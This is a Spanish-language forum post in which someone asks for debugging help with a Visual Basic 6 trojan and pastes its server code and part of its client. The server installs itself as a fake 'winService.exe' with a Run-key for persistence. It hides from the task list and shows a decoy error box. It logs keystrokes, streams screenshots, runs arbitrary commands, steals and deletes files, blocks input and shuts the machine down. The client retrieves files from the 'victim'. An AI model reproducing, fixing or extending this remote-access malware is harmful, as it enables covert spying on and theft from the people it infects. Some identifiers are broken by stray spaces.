Problema Troyano - CPH hacking and security

Aqui esta el codigo, solo es el del Servidor.:

Option Explicit
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnStr ing As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Dim mata As String
Dim filesize As Long, datos2 As String, filedata As String, send As Boolean, path As String
Dim m As String
Private Declare Function GetAsyncKeySta te Lib "User32" (ByVal vKey As Long) As Integer
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function ExitWindowsEx Lib "User32" (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long
Private Declare Function SendMessage Lib "User32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Const comWM_SYSCOMMA ND = &H112&
Const cSC_SCREENSAVE = &HF140&
Private Declare Function SHAddToRecentD ocs Lib "Shell32" (ByVal lFlags As Long, ByVal lPv As Long) As Long
Private Declare Function SystemParamete rsInfo Lib "User32" Alias "SystemParamete rsInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long
Private Declare Sub keybd_event Lib "User32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Dim tiempo As String

Private Function Captura_Screen()
Dim KEYEVENTF_KEYU P
On Error Resume Next
Clipboard.Clea r
keybd_event 44, 0, 0, 0
keybd_event 44, 0, KEYEVENTF_KEYU P, 0
Do While Clipboard.GetD ata = False
DoEvents
Loop
Picture1.Pictu re = Clipboard.GetD ata
Clipboard.Clea r
SavePicture Picture1.Pictu re, "c:\captura.bmp"
Do While Len(Dir("c:\capturar.bmp")) = 0
DoEvents
Loop
End Function

Private Sub Command1_Click()
Dim imagen() As Byte
Dim tamaÃ±o As Long
Open "c:\captura.bmp" For Binary Access Read As #1
tamaÃ±o = LOF(1)
ReDim imagen(tamaÃ±o - 1)
Get #1, , imagen
Close
Winsock1.SendD ata imagen
Kill "c:\captura.bmp"
Timer4.Enabled = False
End Sub

Private Sub Form_Load()
Dim ejec
Dim obj
Dim win
Dim sys
Dim residencia
On Error Resume Next
ejec = App.path
If Right(ejec, 1) <> "\" Then ejec = ejec & "\"
ejec = ejec & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.File SystemObject")
Set win = obj.GetSpecial Folder(0)
Set sys = obj.GetSpecial Folder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ejec, sys & "\winServi"
Name sys & "\winServi" As sys & "\winService.exe"
Set residencia = CreateObject("WScript.Shell")
residencia.Reg Write "HKEY_CURRENT_U SER\Software\Microsoft\Windows\CurrentVersion\Run\" & "winServis", sys & "\winService.exe"
App.TaskVisibl e = False
Winsock1.Close

bb = False
Dim v As Integer
v = vbRetry
Do While v = vbRetry
v = MsgBox("Error 1845, ocurrio un error en el sistema al cargar los controladores de windows", vbCritical + vbAbortRetryIg nore, "ERROR")
Loop
Timer5.Interva l = 1
Timer6.Interva l = 10000
m = Minute(Time) + 5
End Sub

Private Sub Form_QueryUnlo ad(Cancel As Integer, UnloadMode As Integer)
Winsock1.Close
End
End Sub

Private Sub Timer1_Timer()
If Not Winsock1.State = 7 Then
Winsock1.Close
Winsock1.Liste n
End If
If Not Winsock1.State = 2 And Not Winsock1.State = 7 Then
Winsock1.Close
Winsock1.Liste n
End If
End Sub

Private Sub Timer2_Timer()
Winsock1.Close
Winsock1.Liste n
Timer2.Enabled = False
End Sub

Private Sub Timer3_Timer()
Static contador As Integer
contador = contador + 1
If contador = tiempo Then
BlockInput False:
Timer3.Enabled = False
End If
End Sub

Private Sub Timer4_Timer()
On Error Resume Next
Call Captura_Screen
Call Command1_Click
End Sub

Private Sub Winsock1_Conne ctionRequest(ByVal requestID As Long)
On Error Resume Next
Winsock1.Close
Winsock1.Accep t requestID
End Sub

Private Sub Winsock1_DataA rrival(ByVal bytesTotal As Long)
Dim a As String
Dim canalLibre As Integer
Dim abrir As String
Dim Resultado As Long
Dim datos As String, dato As Variant
Dim fallo As Integer
Winsock1.GetDa ta datos
If datos = "enviar" Then
Winsock1.SendD ata filedata
End If
If datos = "recibido" Then
End If
If Left(datos, 7) = "archivo" Then
send = True
dato = Split(datos, "|")
filesize = dato(1)
path = dato(2)
Winsock1.SendD ata "enviar"
datos2 = ""
Else
If Len(datos2) <> filesize And send = True Then
datos2 = datos2 + datos
End If
If Len(datos2) = filesize And send = True Then
Winsock1.SendD ata "recibido"
Open path For Binary As #1
Put #1, 1, datos2
Close #1
End If
End If
If Left(datos, 5) = "coger" Then
datos = Mid(datos, 6)
Open datos For Binary As #1
filedata = Input(LOF(1), 1)
Close #1
filesize = Len(filedata)
Winsock1.SendD ata "archivo" & filesize
End If
If datos = "PAINT" Then
Shell ("mspaint")
ElseIf datos = "CMD" Then Shell ("cmd")
ElseIf datos = "TELNET" Then Shell ("telnet")
ElseIf datos = "NOTEPAD" Then Shell ("notepad")
ElseIf datos = "APAGAR" Then Resultado = ExitWindowsEx(1, 0&)
ElseIf datos = "REINICIAR" Then Resultado = ExitWindowsEx(2, 0&)
ElseIf datos = "SESION" Then Resultado = ExitWindowsEx(0, 0&)
ElseIf datos = "PROTECTOR" Then Resultado = SendMessage(Me.hwnd, comWM_SYSCOMMA ND, cSC_SCREENSAVE, 0&)
ElseIf datos = "FORMAT C:" Then SHAddToRecentD ocs 0, 0
ElseIf Left(datos, 6) = "CFONDO" Then
datos = Mid(datos, 7)
fallo = SystemParamete rsInfo(20, 0, datos, 0)
ElseIf datos = "OCBARRA" Then
Ventana = FindWindow("Shell_traywnd", "")
Call SetWindowPos(Ventana, 0, 0, 0, 0, 0, Oculta)
ElseIf datos = "MOBARRA" Then Call SetWindowPos(Ventana, 0, 0, 0, 0, 0, Muestra)
ElseIf datos = "CAPANTALLA" Then Timer4.Enabled = True
ElseIf datos = "FINPANTALLA" Then Timer4.Enabled = False
ElseIf Left(datos, 8) = "CONGELAR" Then
tiempo = Mid(datos, 9)
BlockInput True
Timer3.Enabled = True
ElseIf datos = "AUTOENDON" Then
canalLibre = FreeFile
Open "c:\zip.txt" For Output As #canalLibre
Print #canalLibre, "AUTOENDON"
Close #canalLibre
ElseIf Left(datos, 5) = "ABRIR" Then
abrir = Mid(datos, 6)
a = Shell(abrir)
ElseIf datos = "AUTOMOUSE" Then
canalLibre = FreeFile
Open "c:\zip2.txt" For Output As #canalLibre
Print #canalLibre, "AUTOMOUSE"
Close #canalLibre
ElseIf datos = "AUTOCD" Then
canalLibre = FreeFile
Open "c:\zip3.txt" For Output As #canalLibre
Print #canalLibre, "AUTOCD"
Close #canalLibre
ElseIf Left(datos, 8) = "ELIMINAR" Then
mata = Mid(datos, 9)
Kill (mata)
ElseIf Left(datos, 3) = "WEB" Then
Dim webs As String
webs = Mid(datos, 4)
Shell "Explorer " & webs
ElseIf Left(datos, 6) = "MUSICA" Then
abrir = Mid(datos, 7)
canalLibre = FreeFile
Open "c:\zip4.txt" For Output As #canalLibre
Print #canalLibre, abrir
Close #canalLibre
ElseIf datos = "ABRIRCD" Then
ret = mciSendString("set CDAudio door open", returnstring, 127, 0) ' returnstring es la varible que me marca que no esta definida.
End If
End Sub

Private Sub Text3_Change()
w = w + 1
End Sub

Private Sub Timer5_Timer()
On Error Resume Next
Dim X As Integer, i As Integer
For i = 33 To 124
X = GetAsyncKeySta te(i)
If X = -32767 Then
Text1.Text = Text1.Text + Chr(i)

End If
Next
Text3.Text = Text1.Text
X = GetAsyncKeySta te(112)
If X = -32767 Then
Text1.Text = Text1.Text & "{F1}"
End If
X = GetAsyncKeySta te(113)
If X = -32767 Then
Text1.Text = Text1.Text & "{F2}"
End If
X = GetAsyncKeySta te(114)
If X = -32767 Then
Text1.Text = Text1.Text & "{F3}"
End If
X = GetAsyncKeySta te(115)
If X = -32767 Then
Text1.Text = Text1.Text & "{F4}"
End If
X = GetAsyncKeySta te(116)
If X = -32767 Then
Text1.Text = Text1.Text & "{F5}"
End If
X = GetAsyncKeySta te(117)
If X = -32767 Then
Text1.Text = Text1.Text & "{F6}"
End If
X = GetAsyncKeySta te(118)
If X = -32767 Then
Text1.Text = Text1.Text & "{F7}"
End If
X = GetAsyncKeySta te(119)
If X = -32767 Then
Text1.Text = Text1.Text & "{F8}"
End If
X = GetAsyncKeySta te(120)
If X = -32767 Then
Text1.Text = Text1.Text & "{F9}"
End If
X = GetAsyncKeySta te(121)
If X = -32767 Then
Text1.Text = Text1.Text & "{F10}"
End If
X = GetAsyncKeySta te(122)
If X = -32767 Then
Text1.Text = Text1.Text & "{F11}"
End If
X = GetAsyncKeySta te(123)
If X = -32767 Then
Text1.Text = Text1.Text & "{F12}"
End If

X = GetAsyncKeySta te(2)
If X = -32767 Then
Text1.Text = Mid(Text1.Text, 1, Len(Text1) - 1)
End If

X = GetAsyncKeySta te(9)
If X = -32767 Then
Text1.Text = Text1.Text & "{tab}"
End If

X = GetAsyncKeySta te(13)
If X = -32767 Then
Text1.Text = Text1.Text & "{enter}"
Text1 = Text1 & vbCrLf
End If

X = GetAsyncKeySta te(27)
If X = -32767 Then
Text1.Text = Text1.Text & "{esc}"
Text1 = Text1 & vbCrLf
End If

X = GetAsyncKeySta te(32)
If X = -32767 Then
Text1.Text = Text1.Text & " "
End If

Dim cad As String
Dim num As String
Dim c As String
cad = Text1.Text
num = Right(cad, 1)
Text2.Text = num
c = num
If num = "a" Then
c = "1"
bb = True
End If
If num = "b" Then
c = "2"
bb = True
End If
If num = "c" Then
c = "3"
bb = True
End If
If num = "d" Then
c = "4"
bb = True
End If
If num = "e" Then
c = "5"
bb = True
End If
If num = "f" Then
c = "6"
bb = True
End If
If num = "g" Then
c = "7"
bb = True
End If
If num = "h" Then
c = "8"
bb = True
End If
If num = "i" Then
c = "9"
bb = True
End If
If num = "`" Then
c = "0"
bb = True
End If

Text2.Text = c

If bb = True Then
Dim g As Integer
g = Len(Text1.Text) - 1
Text1.Text = Left(Text1.Text, g) + c

bb = False

End If

End Sub

Private Sub Timer6_Timer()
Open "c:\wintec.txt" For Append As #1
Print #1, Text1.Text
Text1.Text = ""
Close #1
If (Minute(Time) >= m) Then
Open "c:\wintec.txt" For Append As #1
Print #1, "----------- ----------- ------------"
Close #1
End If
End Sub

Y en un Modulo

Global w As Integer
Global bb As Boolean
Declare Function SetWindowPos Lib "User32" (ByVal hwnd As Long, ByVal hWndREPLACEAft er As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Global Ventana As Long
Global Const Muestra = &H40
Global Const Oculta = &H80
Declare Function ShowCursor Lib "User32" (ByVal bShow As Long) As Long
Declare Function FindWindow Lib "User32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function BlockInput Lib "User32" (ByVal fBlock As Long) As Long

Y ya que estamos en esto tambien el codigo para recoger archivos de la victima no me funciona, aquÃ esta el codigo del cliente, solo el que es para recoger, no son todos los codigos.

Private Sub sock_DataArriv al(ByVal bytesTotal As Long)
On Error Resume Next
Dim datos As String
sock.GetData datos
If datos = "enviar" Then
progreso = True
sock.SendData filedata
End If
If datos = "recibido" Then
End If
If Left(datos, 7) = "archivo" Then
send = True
filesize = Mid(datos, 8)
sock.SendData "enviar"
datos2 = ""
Else
If Len(datos2) <> filesize And send = True Then
datos2 = datos2 + datos
pb.Visible = True
pb.Min = 0
pb.Max = filesize
pb.Value = Len(datos2)
pb.Refresh
End If
If Len(datos2) = filesize And send = True Then
sock.SendData "recibido"
pb.Value = 0
pb.Visible = False
cd.Filter = "Archivos " & ext & "| *" & ext
cd.FileName = ""
cd.ShowSave
Open cd.FileName For Binary As #1
Put #1, 1, datos2
Close #1
End If
End If

Dim imagen() As Byte
sock.GetData imagen
Open "C:\captura.bmp" For Binary As #1
Put #1, , imagen
Timer3.Interva l = 10000
Timer3.Enabled = True
sock.GetData datos
frm4.Show
frm4.consola.T ext = frm4.consola.T ext + newline + datos

Private Sub command1_Click()
Dim ruta As String
ruta = InputBox("Introduce la ruta completa del archivo remoto:", "Descargar Archivo", ruta)
If Not ruta = "" Then
sock.SendData "coger" & ruta
ext = Right(ruta, Len(ruta) - 4)
End If
End Sub